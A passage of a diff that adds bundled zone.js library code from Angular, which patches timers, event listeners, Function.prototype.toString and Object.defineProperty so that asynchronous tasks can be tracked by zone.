+ this[originalInstanceKey][prop] = fn;
+ }
+ },
+ get: function () {
+ return this[originalInstanceKey][prop];
+ }
+ });
+ }
+ }(prop));
+ }
+ for (prop in OriginalClass) {
+ if (prop !== 'prototype' && OriginalClass.hasOwnProperty(prop)) {
+ _global[className][prop] = OriginalClass[prop];
+ }
+ }
+}
+function copySymbolProperties(src, dest) {
+ if (typeof Object.getOwnPropertySymbols !== 'function') {
+ return;
+ }
+ var symbols = Object.getOwnPropertySymbols(src);
+ symbols.forEach(function (symbol) {
+ var desc = Object.getOwnPropertyDescriptor(src, symbol);
+ Object.defineProperty(dest, symbol, {
+ get: function () {
+ return src[symbol];
+ },
+ set: function (value) {
+ if (desc && (!desc.writable || typeof desc.set !== 'function')) {
+ // if src[symbol] is not writable or not have a setter, just return
+ return;
+ }
+ src[symbol] = value;
+ },
+ enumerable: desc ? desc.enumerable : true,
+ configurable: desc ? desc.configurable : true
+ });
+ });
+}
+var shouldCopySymbolProperties = false;
+
+function patchMethod(target, name, patchFn) {
+ var proto = target;
+ while (proto && !proto.hasOwnProperty(name)) {
+ proto = ObjectGetPrototypeOf(proto);
+ }
+ if (!proto && target[name]) {
+ // somehow we did not find it, but we can see it. This happens on IE for Window properties.
+ proto = target;
+ }
+ var delegateName = zoneSymbol(name);
+ var delegate = null;
+ if (proto && !(delegate = proto[delegateName])) {
+ delegate = proto[delegateName] = proto[name];
+ // check whether proto[name] is writable
+ // some property is readonly in safari, such as HtmlCanvasElement.prototype.toBlob
+ var desc = proto && ObjectGetOwnPropertyDescriptor(proto, name);
+ if (isPropertyWritable(desc)) {
+ var patchDelegate_1 = patchFn(delegate, delegateName, name);
+ proto[name] = function () {
+ return patchDelegate_1(this, arguments);
+ };
+ attachOriginToPatched(proto[name], delegate);
+ if (shouldCopySymbolProperties) {
+ copySymbolProperties(delegate, proto[name]);
+ }
+ }
+ }
+ return delegate;
+}
+// TODO: @JiaLiPassion, support cancel task later if necessary
+function patchMacroTask(obj, funcName, metaCreator) {
+ var setNative = null;
+ function scheduleTask(task) {
+ var data = task.data;
+ data.args[data.cbIdx] = function () {
+ task.invoke.apply(this, arguments);
+ };
+ setNative.apply(data.target, data.args);
+ return task;
+ }
+ setNative = patchMethod(obj, funcName, function (delegate) { return function (self, args) {
+ var meta = metaCreator(self, args);
+ if (meta.cbIdx >= 0 && typeof args[meta.cbIdx] === 'function') {
+ return scheduleMacroTaskWithCurrentZone(meta.name, args[meta.cbIdx], meta, scheduleTask);
+ }
+ else {
+ // cause an error by calling it directly.
+ return delegate.apply(self, args);
+ }
+ }; });
+}
+
+function attachOriginToPatched(patched, original) {
+ patched[zoneSymbol('OriginalDelegate')] = original;
+}
+var isDetectedIEOrEdge = false;
+var ieOrEdge = false;
+function isIE() {
+ try {
+ var ua = internalWindow.navigator.userAgent;
+ if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1) {
+ return true;
+ }
+ }
+ catch (error) {
+ }
+ return false;
+}
+function isIEOrEdge() {
+ if (isDetectedIEOrEdge) {
+ return ieOrEdge;
+ }
+ isDetectedIEOrEdge = true;
+ try {
+ var ua = internalWindow.navigator.userAgent;
+ if (ua.indexOf('MSIE ') !== -1 || ua.indexOf('Trident/') !== -1 || ua.indexOf('Edge/') !== -1) {
+ ieOrEdge = true;
+ }
+ return ieOrEdge;
+ }
+ catch (error) {
+ }
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+// override Function.prototype.toString to make zone.js patched function
+// look like native function
+Zone.__load_patch('toString', function (global) {
+ // patch Func.prototype.toString to let them look like native
+ var originalFunctionToString = Function.prototype.toString;
+ var ORIGINAL_DELEGATE_SYMBOL = zoneSymbol('OriginalDelegate');
+ var PROMISE_SYMBOL = zoneSymbol('Promise');
+ var ERROR_SYMBOL = zoneSymbol('Error');
+ var newFunctionToString = function toString() {
+ if (typeof this === 'function') {
+ var originalDelegate = this[ORIGINAL_DELEGATE_SYMBOL];
+ if (originalDelegate) {
+ if (typeof originalDelegate === 'function') {
+ return originalFunctionToString.apply(this[ORIGINAL_DELEGATE_SYMBOL], arguments);
+ }
+ else {
+ return Object.prototype.toString.call(originalDelegate);
+ }
+ }
+ if (this === Promise) {
+ var nativePromise = global[PROMISE_SYMBOL];
+ if (nativePromise) {
+ return originalFunctionToString.apply(nativePromise, arguments);
+ }
+ }
+ if (this === Error) {
+ var nativeError = global[ERROR_SYMBOL];
+ if (nativeError) {
+ return originalFunctionToString.apply(nativeError, arguments);
+ }
+ }
+ }
+ return originalFunctionToString.apply(this, arguments);
+ };
+ newFunctionToString[ORIGINAL_DELEGATE_SYMBOL] = originalFunctionToString;
+ Function.prototype.toString = newFunctionToString;
+ // patch Object.prototype.toString to let them look like native
+ var originalObjectToString = Object.prototype.toString;
+ var PROMISE_OBJECT_TO_STRING = '[object Promise]';
+ Object.prototype.toString = function () {
+ if (this instanceof Promise) {
+ return PROMISE_OBJECT_TO_STRING;
+ }
+ return originalObjectToString.apply(this, arguments);
+ };
+});
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/**
+ * @fileoverview
+ * @suppress {missingRequire}
+ */
+var passiveSupported = false;
+if (typeof window !== 'undefined') {
+ try {
+ var options = Object.defineProperty({}, 'passive', {
+ get: function () {
+ passiveSupported = true;
+ }
+ });
+ window.addEventListener('test', options, options);
+ window.removeEventListener('test', options, options);
+ }
+ catch (err) {
+ passiveSupported = false;
+ }
+}
+// an identifier to tell ZoneTask do not create a new invoke closure
+var OPTIMIZED_ZONE_EVENT_TASK_DATA = {
+ useG: true
+};
+var zoneSymbolEventNames$1 = {};
+var globalSources = {};
+var EVENT_NAME_SYMBOL_REGX = /^__zone_symbol__(\w+)(true|false)$/;
+var IMMEDIATE_PROPAGATION_SYMBOL = ('__zone_symbol__propagationStopped');
+function patchEventTarget(_global, apis, patchOptions) {
+ var ADD_EVENT_LISTENER = (patchOptions && patchOptions.add) || ADD_EVENT_LISTENER_STR;
+ var REMOVE_EVENT_LISTENER = (patchOptions && patchOptions.rm) || REMOVE_EVENT_LISTENER_STR;
+ var LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.listeners) || 'eventListeners';
+ var REMOVE_ALL_LISTENERS_EVENT_LISTENER = (patchOptions && patchOptions.rmAll) || 'removeAllListeners';
+ var zoneSymbolAddEventListener = zoneSymbol(ADD_EVENT_LISTENER);
+ var ADD_EVENT_LISTENER_SOURCE = '.' + ADD_EVENT_LISTENER + ':';
+ var PREPEND_EVENT_LISTENER = 'prependListener';
+ var PREPEND_EVENT_LISTENER_SOURCE = '.' + PREPEND_EVENT_LISTENER + ':';
+ var invokeTask = function (task, target, event) {
+ // for better performance, check isRemoved which is set
+ // by removeEventListener
+ if (task.isRemoved) {
+ return;
+ }
+ var delegate = task.callback;
+ if (typeof delegate === 'object' && delegate.handleEvent) {
+ // create the bind version of handleEvent when invoke
+ task.callback = function (event) { return delegate.handleEvent(event); };
+ task.originalDelegate = delegate;
+ }
+ // invoke static task.invoke
+ task.invoke(task, target, [event]);
+ var options = task.options;
+ if (options && typeof options === 'object' && options.once) {
+ // if options.once is true, after invoke once remove listener here
+ // only browser need to do this, nodejs eventEmitter will cal removeListener
+ // inside EventEmitter.once
+ var delegate_1 = task.originalDelegate ? task.originalDelegate : task.callback;
+ target[REMOVE_EVENT_LISTENER].call(target, event.type, delegate_1, options);
+ }
+ };
+ // global shared zoneAwareCallback to handle all event callback with capture = false
+ var globalZoneAwareCallback = function (event) {
+ // https://github.com/angular/zone.js/issues/911, in IE, sometimes
+ // event will be undefined, so we need to use window.event
+ event = event || _global.event;
+ if (!event) {
+ return;
+ }
+ // event.target is needed for Samsung TV and SourceBuffer
+ // || global is needed https://github.com/angular/zone.js/issues/190
+ var target = this || event.target || _global;
+ var tasks = target[zoneSymbolEventNames$1[event.type][FALSE_STR]];
+ if (tasks) {
+ // invoke all tasks which attached to current target with given event.type and capture = false
+ // for performance concern, if task.length === 1, just invoke
+ if (tasks.length === 1) {
+ invokeTask(tasks[0], target, event);
+ }
+ else {
+ // https://github.com/angular/zone.js/issues/836
+ // copy the tasks array before invoke, to avoid
+ // the callback will remove itself or other listener
+ var copyTasks = tasks.slice();
+ for (var i = 0; i < copyTasks.length; i++) {
+ if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) {
+ break;
+ }
+ invokeTask(copyTasks[i], target, event);
+ }
+ }
+ }
+ };
+ // global shared zoneAwareCallback to handle all event callback with capture = true
+ var globalZoneAwareCaptureCallback = function (event) {
+ // https://github.com/angular/zone.js/issues/911, in IE, sometimes
+ // event will be undefined, so we need to use window.event
+ event = event || _global.event;
+ if (!event) {
+ return;
+ }
+ // event.target is needed for Samsung TV and SourceBuffer
+ // || global is needed https://github.com/angular/zone.js/issues/190
+ var target = this || event.target || _global;
+ var tasks = target[zoneSymbolEventNames$1[event.type][TRUE_STR]];
+ if (tasks) {
+ // invoke all tasks which attached to current target with given event.type and capture = false
+ // for performance concern, if task.length === 1, just invoke
+ if (tasks.length === 1) {
+ invokeTask(tasks[0], target, event);
+ }
+ else {
+ // https://github.com/angular/zone.js/issues/836
+ // copy the tasks array before invoke, to avoid
+ // the callback will remove itself or other listener
+ var copyTasks = tasks.slice();
+ for (var i = 0; i < copyTasks.length; i++) {
+ if (event && event[IMMEDIATE_PROPAGATION_SYMBOL] === true) {
+ break;
+ }
+ invokeTask(copyTasks[i], target, event);
+ }
+ }
+ }
+ };
+ function patchEventTargetMethods(obj, patchOptions) {
+ if (!obj) {
+ return false;
+ }
+ var useGlobalCallback = true;
+ if (patchOptions && patchOptions.useG !== undefined) {
+ useGlobalCallback = patchOptions.useG;
+ }
+ var validateHandler = patchOptions && patchOptions.vh;
+ var checkDuplicate = true;
+ if (patchOptions && patchOptions.chkDup !== undefined) {
+ checkDuplicate = patchOptions.chkDup;
+ }
+ var returnTarget = false;
+ if (patchOptions && patchOptions.rt !== undefined) {
+ returnTarget = patchOptions.rt;
+ }
+ var proto = obj;
+ while (proto && !proto.hasOwnProperty(ADD_EVENT_LISTENER)) {
+ proto = ObjectGetPrototypeOf(proto);
+ }
+ if (!proto && obj[ADD_EVENT_LISTENER]) {
+ // somehow we did not find it, but we can see it. This happens on IE for Window properties.
+ proto = obj;
+ }
+ if (!proto) {
+ return false;
+ }
+ if (proto[zoneSymbolAddEventListener]) {
+ return false;
+ }
+ var eventNameToString = patchOptions && patchOptions.eventNameToString;
+ // a shared global taskData to pass data for scheduleEventTask
+ // so we do not need to create a new object just for pass some data
+ var taskData = {};
+ var nativeAddEventListener = proto[zoneSymbolAddEventListener] = proto[ADD_EVENT_LISTENER];
+ var nativeRemoveEventListener = proto[zoneSymbol(REMOVE_EVENT_LISTENER)] =
+ proto[REMOVE_EVENT_LISTENER];
+ var nativeListeners = proto[zoneSymbol(LISTENERS_EVENT_LISTENER)] =
+ proto[LISTENERS_EVENT_LISTENER];
+ var nativeRemoveAllListeners = proto[zoneSymbol(REMOVE_ALL_LISTENERS_EVENT_LISTENER)] =
+ proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER];
+ var nativePrependEventListener;
+ if (patchOptions && patchOptions.prepend) {
+ nativePrependEventListener = proto[zoneSymbol(patchOptions.prepend)] =
+ proto[patchOptions.prepend];
+ }
+ function checkIsPassive(task) {
+ if (!passiveSupported && typeof taskData.options !== 'boolean' &&
+ typeof taskData.options !== 'undefined' && taskData.options !== null) {
+ // options is a non-null non-undefined object
+ // passive is not supported
+ // don't pass options as object
+ // just pass capture as a boolean
+ task.options = !!taskData.options.capture;
+ taskData.options = task.options;
+ }
+ }
+ var customScheduleGlobal = function (task) {
+ // if there is already a task for the eventName + capture,
+ // just return, because we use the shared globalZoneAwareCallback here.
+ if (taskData.isExisting) {
+ return;
+ }
+ checkIsPassive(task);
+ return nativeAddEventListener.call(taskData.target, taskData.eventName, taskData.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, taskData.options);
+ };
+ var customCancelGlobal = function (task) {
+ // if task is not marked as isRemoved, this call is directly
+ // from Zone.prototype.cancelTask, we should remove the task
+ // from tasksList of target first
+ if (!task.isRemoved) {
+ var symbolEventNames = zoneSymbolEventNames$1[task.eventName];
+ var symbolEventName = void 0;
+ if (symbolEventNames) {
+ symbolEventName = symbolEventNames[task.capture ? TRUE_STR : FALSE_STR];
+ }
+ var existingTasks = symbolEventName && task.target[symbolEventName];
+ if (existingTasks) {
+ for (var i = 0; i < existingTasks.length; i++) {
+ var existingTask = existingTasks[i];
+ if (existingTask === task) {
+ existingTasks.splice(i, 1);
+ // set isRemoved to data for faster invokeTask check
+ task.isRemoved = true;
+ if (existingTasks.length === 0) {
+ // all tasks for the eventName + capture have gone,
+ // remove globalZoneAwareCallback and remove the task cache from target
+ task.allRemoved = true;
+ task.target[symbolEventName] = null;
+ }
+ break;
+ }
+ }
+ }
+ }
+ // if all tasks for the eventName + capture have gone,
+ // we will really remove the global event callback,
+ // if not, return
+ if (!task.allRemoved) {
+ return;
+ }
+ return nativeRemoveEventListener.call(task.target, task.eventName, task.capture ? globalZoneAwareCaptureCallback : globalZoneAwareCallback, task.options);
+ };
+ var customScheduleNonGlobal = function (task) {
+ checkIsPassive(task);
+ return nativeAddEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options);
+ };
+ var customSchedulePrepend = function (task) {
+ return nativePrependEventListener.call(taskData.target, taskData.eventName, task.invoke, taskData.options);
+ };
+ var customCancelNonGlobal = function (task) {
+ return nativeRemoveEventListener.call(task.target, task.eventName, task.invoke, task.options);
+ };
+ var customSchedule = useGlobalCallback ? customScheduleGlobal : customScheduleNonGlobal;
+ var customCancel = useGlobalCallback ? customCancelGlobal : customCancelNonGlobal;
+ var compareTaskCallbackVsDelegate = function (task, delegate) {
+ var typeOfDelegate = typeof delegate;
+ return (typeOfDelegate === 'function' && task.callback === delegate) ||
+ (typeOfDelegate === 'object' && task.originalDelegate === delegate);
+ };
+ var compare = (patchOptions && patchOptions.diff) ? patchOptions.diff : compareTaskCallbackVsDelegate;
+ var blackListedEvents = Zone[Zone.__symbol__('BLACK_LISTED_EVENTS')];
+ var makeAddListener = function (nativeListener, addSource, customScheduleFn, customCancelFn, returnTarget, prepend) {
+ if (returnTarget === void 0) { returnTarget = false; }
+ if (prepend === void 0) { prepend = false; }
+ return function () {
+ var target = this || _global;
+ var eventName = arguments[0];
+ var delegate = arguments[1];
+ if (!delegate) {
+ return nativeListener.apply(this, arguments);
+ }
+ if (isNode && eventName === 'uncaughtException') {
+ // don't patch uncaughtException of nodejs to prevent endless loop
+ return nativeListener.apply(this, arguments);
+ }
+ // don't create the bind delegate function for handleEvent
+ // case here to improve addEventListener performance
+ // we will create the bind delegate when invoke
+ var isHandleEvent = false;
+ if (typeof delegate !== 'function') {
+ if (!delegate.handleEvent) {
+ return nativeListener.apply(this, arguments);
+ }
+ isHandleEvent = true;
+ }
+ if (validateHandler && !validateHandler(nativeListener, delegate, target, arguments)) {
+ return;
+ }
+ var options = arguments[2];
+ if (blackListedEvents) {
+ // check black list
+ for (var i = 0; i < blackListedEvents.length; i++) {
+ if (eventName === blackListedEvents[i]) {
+ return nativeListener.apply(this, arguments);
+ }
+ }
+ }
+ var capture;
+ var once = false;
+ if (options === undefined) {
+ capture = false;
+ }
+ else if (options === true) {
+ capture = true;
+ }
+ else if (options === false) {
+ capture = false;
+ }
+ else {
+ capture = options ? !!options.capture : false;
+ once = options ? !!options.once : false;
+ }
+ var zone = Zone.current;
+ var symbolEventNames = zoneSymbolEventNames$1[eventName];
+ var symbolEventName;
+ if (!symbolEventNames) {
+ // the code is duplicate, but I just want to get some better performance
+ var falseEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + FALSE_STR;
+ var trueEventName = (eventNameToString ? eventNameToString(eventName) : eventName) + TRUE_STR;
+ var symbol = ZONE_SYMBOL_PREFIX + falseEventName;
+ var symbolCapture = ZONE_SYMBOL_PREFIX + trueEventName;
+ zoneSymbolEventNames$1[eventName] = {};
+ zoneSymbolEventNames$1[eventName][FALSE_STR] = symbol;
+ zoneSymbolEventNames$1[eventName][TRUE_STR] = symbolCapture;
+ symbolEventName = capture ? symbolCapture : symbol;
+ }
+ else {
+ symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR];
+ }
+ var existingTasks = target[symbolEventName];
+ var isExisting = false;
+ if (existingTasks) {
+ // already have task registered
+ isExisting = true;
+ if (checkDuplicate) {
+ for (var i = 0; i < existingTasks.length; i++) {
+ if (compare(existingTasks[i], delegate)) {
+ // same callback, same capture, same event name, just return
+ return;
+ }
+ }
+ }
+ }
+ else {
+ existingTasks = target[symbolEventName] = [];
+ }
+ var source;
+ var constructorName = target.constructor['name'];
+ var targetSource = globalSources[constructorName];
+ if (targetSource) {
+ source = targetSource[eventName];
+ }
+ if (!source) {
+ source = constructorName + addSource +
+ (eventNameToString ? eventNameToString(eventName) : eventName);
+ }
+ // do not create a new object as task.data to pass those things
+ // just use the global shared one
+ taskData.options = options;
+ if (once) {
+ // if addEventListener with once options, we don't pass it to
+ // native addEventListener, instead we keep the once setting
+ // and handle ourselves.
+ taskData.options.once = false;
+ }
+ taskData.target = target;
+ taskData.capture = capture;
+ taskData.eventName = eventName;
+ taskData.isExisting = isExisting;
+ var data = useGlobalCallback ? OPTIMIZED_ZONE_EVENT_TASK_DATA : undefined;
+ // keep taskData into data to allow onScheduleEventTask to access the task information
+ if (data) {
+ data.taskData = taskData;
+ }
+ var task = zone.scheduleEventTask(source, delegate, data, customScheduleFn, customCancelFn);
+ // should clear taskData.target to avoid memory leak
+ // issue, https://github.com/angular/angular/issues/20442
+ taskData.target = null;
+ // need to clear up taskData because it is a global object
+ if (data) {
+ data.taskData = null;
+ }
+ // have to save those information to task in case
+ // application may call task.zone.cancelTask() directly
+ if (once) {
+ options.once = true;
+ }
+ if (!(!passiveSupported && typeof task.options === 'boolean')) {
+ // if not support passive, and we pass an option object
+ // to addEventListener, we should save the options to task
+ task.options = options;
+ }
+ task.target = target;
+ task.capture = capture;
+ task.eventName = eventName;
+ if (isHandleEvent) {
+ // save original delegate for compare to check duplicate
+ task.originalDelegate = delegate;
+ }
+ if (!prepend) {
+ existingTasks.push(task);
+ }
+ else {
+ existingTasks.unshift(task);
+ }
+ if (returnTarget) {
+ return target;
+ }
+ };
+ };
+ proto[ADD_EVENT_LISTENER] = makeAddListener(nativeAddEventListener, ADD_EVENT_LISTENER_SOURCE, customSchedule, customCancel, returnTarget);
+ if (nativePrependEventListener) {
+ proto[PREPEND_EVENT_LISTENER] = makeAddListener(nativePrependEventListener, PREPEND_EVENT_LISTENER_SOURCE, customSchedulePrepend, customCancel, returnTarget, true);
+ }
+ proto[REMOVE_EVENT_LISTENER] = function () {
+ var target = this || _global;
+ var eventName = arguments[0];
+ var options = arguments[2];
+ var capture;
+ if (options === undefined) {
+ capture = false;
+ }
+ else if (options === true) {
+ capture = true;
+ }
+ else if (options === false) {
+ capture = false;
+ }
+ else {
+ capture = options ? !!options.capture : false;
+ }
+ var delegate = arguments[1];
+ if (!delegate) {
+ return nativeRemoveEventListener.apply(this, arguments);
+ }
+ if (validateHandler &&
+ !validateHandler(nativeRemoveEventListener, delegate, target, arguments)) {
+ return;
+ }
+ var symbolEventNames = zoneSymbolEventNames$1[eventName];
+ var symbolEventName;
+ if (symbolEventNames) {
+ symbolEventName = symbolEventNames[capture ? TRUE_STR : FALSE_STR];
+ }
+ var existingTasks = symbolEventName && target[symbolEventName];
+ if (existingTasks) {
+ for (var i = 0; i < existingTasks.length; i++) {
+ var existingTask = existingTasks[i];
+ if (compare(existingTask, delegate)) {
+ existingTasks.splice(i, 1);
+ // set isRemoved to data for faster invokeTask check
+ existingTask.isRemoved = true;
+ if (existingTasks.length === 0) {
+ // all tasks for the eventName + capture have gone,
+ // remove globalZoneAwareCallback and remove the task cache from target
+ existingTask.allRemoved = true;
+ target[symbolEventName] = null;
+ }
+ existingTask.zone.cancelTask(existingTask);
+ if (returnTarget) {
+ return target;
+ }
+ return;
+ }
+ }
+ }
+ // issue 930, didn't find the event name or callback
+ // from zone kept existingTasks, the callback maybe
+ // added outside of zone, we need to call native removeEventListener
+ // to try to remove it.
+ return nativeRemoveEventListener.apply(this, arguments);
+ };
+ proto[LISTENERS_EVENT_LISTENER] = function () {
+ var target = this || _global;
+ var eventName = arguments[0];
+ var listeners = [];
+ var tasks = findEventTasks(target, eventNameToString ? eventNameToString(eventName) : eventName);
+ for (var i = 0; i < tasks.length; i++) {
+ var task = tasks[i];
+ var delegate = task.originalDelegate ? task.originalDelegate : task.callback;
+ listeners.push(delegate);
+ }
+ return listeners;
+ };
+ proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER] = function () {
+ var target = this || _global;
+ var eventName = arguments[0];
+ if (!eventName) {
+ var keys = Object.keys(target);
+ for (var i = 0; i < keys.length; i++) {
+ var prop = keys[i];
+ var match = EVENT_NAME_SYMBOL_REGX.exec(prop);
+ var evtName = match && match[1];
+ // in nodejs EventEmitter, removeListener event is
+ // used for monitoring the removeListener call,
+ // so just keep removeListener eventListener until
+ // all other eventListeners are removed
+ if (evtName && evtName !== 'removeListener') {
+ this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, evtName);
+ }
+ }
+ // remove removeListener listener finally
+ this[REMOVE_ALL_LISTENERS_EVENT_LISTENER].call(this, 'removeListener');
+ }
+ else {
+ var symbolEventNames = zoneSymbolEventNames$1[eventName];
+ if (symbolEventNames) {
+ var symbolEventName = symbolEventNames[FALSE_STR];
+ var symbolCaptureEventName = symbolEventNames[TRUE_STR];
+ var tasks = target[symbolEventName];
+ var captureTasks = target[symbolCaptureEventName];
+ if (tasks) {
+ var removeTasks = tasks.slice();
+ for (var i = 0; i < removeTasks.length; i++) {
+ var task = removeTasks[i];
+ var delegate = task.originalDelegate ? task.originalDelegate : task.callback;
+ this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options);
+ }
+ }
+ if (captureTasks) {
+ var removeTasks = captureTasks.slice();
+ for (var i = 0; i < removeTasks.length; i++) {
+ var task = removeTasks[i];
+ var delegate = task.originalDelegate ? task.originalDelegate : task.callback;
+ this[REMOVE_EVENT_LISTENER].call(this, eventName, delegate, task.options);
+ }
+ }
+ }
+ }
+ if (returnTarget) {
+ return this;
+ }
+ };
+ // for native toString patch
+ attachOriginToPatched(proto[ADD_EVENT_LISTENER], nativeAddEventListener);
+ attachOriginToPatched(proto[REMOVE_EVENT_LISTENER], nativeRemoveEventListener);
+ if (nativeRemoveAllListeners) {
+ attachOriginToPatched(proto[REMOVE_ALL_LISTENERS_EVENT_LISTENER], nativeRemoveAllListeners);
+ }
+ if (nativeListeners) {
+ attachOriginToPatched(proto[LISTENERS_EVENT_LISTENER], nativeListeners);
+ }
+ return true;
+ }
+ var results = [];
+ for (var i = 0; i < apis.length; i++) {
+ results[i] = patchEventTargetMethods(apis[i], patchOptions);
+ }
+ return results;
+}
+function findEventTasks(target, eventName) {
+ var foundTasks = [];
+ for (var prop in target) {
+ var match = EVENT_NAME_SYMBOL_REGX.exec(prop);
+ var evtName = match && match[1];
+ if (evtName && (!eventName || evtName === eventName)) {
+ var tasks = target[prop];
+ if (tasks) {
+ for (var i = 0; i < tasks.length; i++) {
+ foundTasks.push(tasks[i]);
+ }
+ }
+ }
+ }
+ return foundTasks;
+}
+function patchEventPrototype(global, api) {
+ var Event = global['Event'];
+ if (Event && Event.prototype) {
+ api.patchMethod(Event.prototype, 'stopImmediatePropagation', function (delegate) { return function (self, args) {
+ self[IMMEDIATE_PROPAGATION_SYMBOL] = true;
+ // we need to call the native stopImmediatePropagation
+ // in case in some hybrid application, some part of
+ // application will be controlled by zone, some are not
+ delegate && delegate.apply(self, args);
+ }; });
+ }
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/**
+ * @fileoverview
+ * @suppress {missingRequire}
+ */
+var taskSymbol = zoneSymbol('zoneTask');
+function patchTimer(window, setName, cancelName, nameSuffix) {
+ var setNative = null;
+ var clearNative = null;
+ setName += nameSuffix;
+ cancelName += nameSuffix;
+ var tasksByHandleId = {};
+ function scheduleTask(task) {
+ var data = task.data;
+ function timer() {
+ try {
+ task.invoke.apply(this, arguments);
+ }
+ finally {
+ // issue-934, task will be cancelled
+ // even it is a periodic task such as
+ // setInterval
+ if (!(task.data && task.data.isPeriodic)) {
+ if (typeof data.handleId === 'number') {
+ // in non-nodejs env, we remove timerId
+ // from local cache
+ delete tasksByHandleId[data.handleId];
+ }
+ else if (data.handleId) {
+ // Node returns complex objects as handleIds
+ // we remove task reference from timer object
+ data.handleId[taskSymbol] = null;
+ }
+ }
+ }
+ }
+ data.args[0] = timer;
+ data.handleId = setNative.apply(window, data.args);
+ return task;
+ }
+ function clearTask(task) {
+ return clearNative(task.data.handleId);
+ }
+ setNative =
+ patchMethod(window, setName, function (delegate) { return function (self, args) {
+ if (typeof args[0] === 'function') {
+ var options = {
+ isPeriodic: nameSuffix === 'Interval',
+ delay: (nameSuffix === 'Timeout' || nameSuffix === 'Interval') ? args[1] || 0 :
+ undefined,
+ args: args
+ };
+ var task = scheduleMacroTaskWithCurrentZone(setName, args[0], options, scheduleTask, clearTask);
+ if (!task) {
+ return task;
+ }
+ // Node.js must additionally support the ref and unref functions.
+ var handle = task.data.handleId;
+ if (typeof handle === 'number') {
+ // for non nodejs env, we save handleId: task
+ // mapping in local cache for clearTimeout
+ tasksByHandleId[handle] = task;
+ }
+ else if (handle) {
+ // for nodejs env, we save task
+ // reference in timerId Object for clearTimeout
+ handle[taskSymbol] = task;
+ }
+ // check whether handle is null, because some polyfill or browser
+ // may return undefined from setTimeout/setInterval/setImmediate/requestAnimationFrame
+ if (handle && handle.ref && handle.unref && typeof handle.ref === 'function' &&
+ typeof handle.unref === 'function') {
+ task.ref = handle.ref.bind(handle);
+ task.unref = handle.unref.bind(handle);
+ }
+ if (typeof handle === 'number' || handle) {
+ return handle;
+ }
+ return task;
+ }
+ else {
+ // cause an error by calling it directly.
+ return delegate.apply(window, args);
+ }
+ }; });
+ clearNative =
+ patchMethod(window, cancelName, function (delegate) { return function (self, args) {
+ var id = args[0];
+ var task;
+ if (typeof id === 'number') {
+ // non nodejs env.
+ task = tasksByHandleId[id];
+ }
+ else {
+ // nodejs env.
+ task = id && id[taskSymbol];
+ // other environments.
+ if (!task) {
+ task = id;
+ }
+ }
+ if (task && typeof task.type === 'string') {
+ if (task.state !== 'notScheduled' &&
+ (task.cancelFn && task.data.isPeriodic || task.runCount === 0)) {
+ if (typeof id === 'number') {
+ delete tasksByHandleId[id];
+ }
+ else if (id) {
+ id[taskSymbol] = null;
+ }
+ // Do not cancel already canceled functions
+ task.zone.cancelTask(task);
+ }
+ }
+ else {
+ // cause an error by calling it directly.
+ delegate.apply(window, args);
+ }
+ }; });
+}
+
+/**
+ * @license
+ * Copyright Google Inc. All Rights Reserved.
+ *
+ * Use of this source code is governed by an MIT-style license that can be
+ * found in the LICENSE file at https://angular.io/license
+ */
+/*
+ * This is necessary for Chrome and Chrome mobile, to enable
+ * things like redefining `createdCallback` on an element.
+ */
+var _defineProperty = Object[zoneSymbol('defineProperty')] = Object.defineProperty;
+var _getOwnPropertyDescriptor = Object[zoneSymbol('getOwnPropertyDescriptor')] =
+ Object.getOwnPropertyDescriptor;
+var _create = Object.create;
+var unconfigurablesKey = zoneSymbol('unconfigurables');
+function propertyPatch() {
+ Object.defineProperty = function (obj, prop, desc) {
+ if (isUnconfigurable(obj, prop)) {
+ throw new TypeError('Cannot assign to read only property \'' + prop + '\' of ' + obj);
+ }
+ var originalConfigurableFlag = desc.configurable;
+ if (prop !== 'prototype') {
+ desc = rewriteDescriptor(obj, prop, desc);
+ }
+ return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag);
+ };
+ Object.defineProperties = function (obj, props) {
+ Object.keys(props).forEach(function (prop) {
+ Object.defineProperty(obj, prop, props[prop]);
+ });
+ return obj;
+ };
+ Object.create = function (obj, proto) {
+ if (typeof proto === 'object' && !Object.isFrozen(proto)) {
+ Object.keys(proto).forEach(function (prop) {
+ proto[prop] = rewriteDescriptor(obj, prop, proto[prop]);
+ });
+ }
+ return _create(obj, proto);
+ };
+ Object.getOwnPropertyDescriptor = function (obj, prop) {
+ var desc = _getOwnPropertyDescriptor(obj, prop);
+ if (desc && isUnconfigurable(obj, prop)) {
+ desc.configurable = false;
+ }
+ return desc;
+ };
+}
+function _redefineProperty(obj, prop, desc) {
+ var originalConfigurableFlag = desc.configurable;
+ desc = rewriteDescriptor(obj, prop, desc);
+ return _tryDefineProperty(obj, prop, desc, originalConfigurableFlag);
+}
+function isUnconfigurable(obj, prop) {
+ return obj && obj[unconfigurablesKey] && obj[unconfigurablesKey][prop];
+}
+function rewriteDescriptor(obj, prop, desc) {
+ // issue-927, if the desc is frozen, don't try to change the desc
+ if (!Object.isFrozen(desc)) {
+ desc.configurable = true;
+ }
+ if (!desc.configurable) {
+ // issue-927, if the obj is frozen, don't try to set the desc to obj
+ if (!obj[unconfigurablesKey] && !Object.isFrozen(obj)) {
+ _defineProperty(obj, unconfigurablesKey, { writable: true, value: {} });
+ }
+ if (obj[unconfigurablesKey]) {
+ obj[unconfigurablesKey][prop] = true;
+ }
+ }
+ return desc;
+}
+function _tryDefineProperty(obj, prop, desc, originalConfigurableFlag) {
+ try {
